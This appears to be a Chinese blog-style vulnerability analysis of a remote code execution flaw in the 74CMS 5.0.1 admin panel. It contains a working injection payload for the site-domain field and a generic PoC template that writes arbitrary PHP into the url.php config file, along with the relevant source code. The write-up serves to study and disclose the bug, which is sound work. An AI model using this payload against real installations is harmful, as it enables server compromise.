0x0 漏洞简介
骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。为个人求职和企业招聘提供信息化解决方案, 骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点,自上线以来一直是职场人士、企业HR青睐的求职招聘平台。经过7年的发展,骑士人才系统已成国内人才系统行业的排头兵。系统应用涉及政府、企业、科研教育和媒体等行业领域,用户已覆盖国内所有省份和地区。 2016年全新推出骑士人才系统基础版,全新的“平台+插件”体系,打造用户“DIY”个性化功能定制,为众多地方门户、行业人才提供一个专业、稳定、方便的网络招聘管理平台,致力发展成为引领市场风向的优质高效的招聘软件。
在74CMS 5.0.1版本中的管理后台由于过滤不严谨,可以向配置文件写入恶意代码导致任意代码执行。
0x1 漏洞复现
首先将我分析得出的payload放出来,后面再进行分析。
http://127.0.0.1/.',phpinfo(),'/.com
登入后台,依次选择:系统》网站配置,在网站域名一栏中输入上面给出的payload。
保存修改成功之后刷新当前网页便可成功触发漏洞
0x2 漏洞分析
根据漏洞详情:
In 74cms version 5.0.1, there is a remote code execution vulnerability in /Application/Admin/Controller/ConfigController.class.php and /ThinkPHP/Common/functions.php where attackers can obtain server permissions and control the server…
大致得知漏洞点在 C o n f i g C o n t r o l l e r . c l a s s . p h p \textcolor{orange}{ConfigController.class.php} ConfigController.class.php和 f u n c t i o n s . p h p \textcolor{orange}{functions.php} functions.php这两个文件中,还知道此版本的CMS使用了ThinkPHP3.32的框架,所以网页的路由规则是和ThinkPHP相似的。
通过抓取管理后台修改网站域名的封包,可以发现会调用到 C o n f i g C o n t r o l l e r . c l a s s . p h p \textcolor{orange}{ConfigController.class.php} ConfigController.class.php中的 e d i t ( ) \textcolor{cornflowerblue}{edit()} edit()函数
e d i t ( ) \textcolor{cornflowerblue}{edit()} edit()源码:
public function edit(){
if(IS_POST){
$site_domain = I('request.site_domain','','trim');
$site_domain = trim($site_domain,'/');
$site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
$site_dir = $site_dir==''?'/':$site_dir;
$site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');
$_POST['site_dir'] = $site_dir;
if($site_domain && $site_domain != C('qscms_site_domain')){
if($site_domain == C('qscms_wap_domain')){
$this->returnMsg(0,'主域名不能与触屏版域名重复!');
}
$str = str_replace('http://','',$site_domain);
$str = str_replace('https://','',$str);
if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/',$str) === 1){
$domain = array_slice(explode('.', $str), -3, 3);
}else{
$domain = array_slice(explode('.', $str), -2, 2);
}
$domain = '.'.implode('.',$domain);
$config['SESSION_OPTIONS'] = array('domain'=>$domain);
$config['COOKIE_DOMAIN'] = $domain;
$this->update_config($config,CONF_PATH.'url.php');
}
$logo_home = I('request.logo_home','','trim');
if(strpos($logo_home,'..')!==false){
$_POST['logo_home'] = '';
}
$logo_other = I('request.logo_other','','trim');
if(strpos($logo_other,'..')!==false){
$_POST['logo_other'] = '';
}
if($default_district = I('post.default_district',0,'intval')){
$city = get_city_info($default_district);
$_POST['default_district'] = $city['district'];
$_POST['default_district_spell'] = $city['district_spell'];
}
}
$this->_edit();
$this->display();
}
这里出现一个使用频率比较高的函数 I ( ) \textcolor{cornflowerblue}{I()} I(),源码如下:
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's';
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
case 'path' :
$input = array();
if(!empty($_SERVER['PATH_INFO'])){
$depr = C('URL_PATHINFO_DEPR');
$input = explode($depr,trim($_SERVER['PATH_INFO'],$depr));
}
break;
case 'request' :
$input =& $_REQUEST;
break;
case 'session' :
$input =& $_SESSION;
break;
case 'cookie' :
$input =& $_COOKIE;
break;
case 'server' :
$input =& $_SERVER;
break;
case 'globals' :
$input =& $GLOBALS;
break;
case 'data' :
$input =& $datas;
break;
default:
return null;
}
if(''==$name) { // 获取全部变量
$data = $input;
$filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}
foreach($filters as $filter){
$data = array_map_recursive($filter,$data); // 参数过滤
}
}
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{
$filters = explode(',',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}
if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
...
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}
- 其实这里的 I ( ) \textcolor{cornflowerblue}{I()} I()可以简单理解为 I n v o k e ( ) \textcolor{cornflowerblue}{Invoke()} Invoke(),它实现的功能就是调用若干个给定的方法filter对提交的数据input进行过滤。在我们提交网站配置的数据后, I ( ) \textcolor{cornflowerblue}{I()} I()中会依次调用这几个方法:
trim(s1,s2);//移除s1左右两端的s2,如果存在
htmlspecialchars(s1);//将s1中的特殊符号转换为html实体
stripslashes(s1);//删除s1中的反斜杠
strip_tags(s1);//删除s1中的php、js、html以及xml标签
-
我一开始以为漏洞点在这个函数里,猜想是不是外部调用的时候可以传入一个php的方法给filter,然后利用原理类似于java的反射,后来发现外部调用时,filter参数写死的不可控,故漏洞点不在这。
-
再往下审计的时候才发现,原来漏洞点在写入了配置文件,有趣的是配置文件后缀是php。
$this->update_config($config,CONF_PATH.'url.php');
public function update_config($new_config, $config_file = '') {
!is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {
$config = require $config_file;
$config = multimerge($config, $new_config);
if($config['SESSION_OPTIONS']){
$config['SESSION_OPTIONS']['path'] = SESSION_PATH;
}
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
@unlink(RUNTIME_FILE);
return true;
} else {
return false;
}
}
- 需要注意 v a r _ e x p o r t ( ) \textcolor{cornflowerblue}{var\_export()} var_export()的功能是以PHP代码的形式返回一个变量的字符串表示,直观一点可以浏览 / A p p l i c a t i o n / C o m m o n / C o n f / u r l . p h p \textcolor{orange}{/Application/Common/Conf/url.php} /Application/Common/Conf/url.php文件
<?php
return array (
'URL_MODEL' => 0,
'URL_HTML_SUFFIX' => '.html',
'URL_PATHINFO_DEPR' => '/',
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' =>
array (
'/^jobfair\/(?!admin)(\w+)$/' => 'jobfair/index/:1',
'/^mall\/(?!admin)(\w+)$/' => 'mall/index/:1',
),
'QSCMS_VERSION' => '5.0.1',
'QSCMS_RELEASE' => '2019-03-19 00:00:00',
'SESSION_OPTIONS' =>
array (
'domain' => '.0.1',
'path' => 'F:\phpstudy_pro\WWW\74cms_Home_Setup_v5.0.1\upload\data\session',
),
'COOKIE_DOMAIN' => '.0.1',
);
这是更新之后的结果,而我提交的网站配置数据是
-
可以发现它在处理网站域名的时候只取**“.”符号分割出来的最后两个,并且是以字符串的形式作为其中一个元素存在文件中的。如果要执行代码,我们应该让其作为一句php代码,而不是字符串单独存在。所以自然而然,很简单就可以使用“‘”闭合,用“,”**使其独立。正巧使用到的这两个符号在前面的过滤函数中均未过滤,由此不得感慨——过滤是什么鬼?
-
形如一开始给出的payload,提交之后写入配置文件的存在形式如下:
<?php
return array (
'URL_MODEL' => 0,
'URL_HTML_SUFFIX' => '.html',
'URL_PATHINFO_DEPR' => '/',
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' =>
array (
'/^jobfair\/(?!admin)(\w+)$/' => 'jobfair/index/:1',
'/^mall\/(?!admin)(\w+)$/' => 'mall/index/:1',
),
'QSCMS_VERSION' => '5.0.1',
'QSCMS_RELEASE' => '2019-03-19 00:00:00',
'SESSION_OPTIONS' =>
array (
'domain' => '.',phpinfo(),'/.com',
'path' => 'F:\phpstudy_pro\WWW\74cms_Home_Setup_v5.0.1\upload\data\session',
),
'COOKIE_DOMAIN' => '.',phpinfo(),'/.com',
);
- 显然, p h p i n f o ( ) \textcolor{cornflowerblue}{phpinfo()} phpinfo()已经作为php代码独立出来了。
0x4 总结
总结一下,最后的POC形式就是
http://127.0.0.1/.',leave_your_php_code,'/.com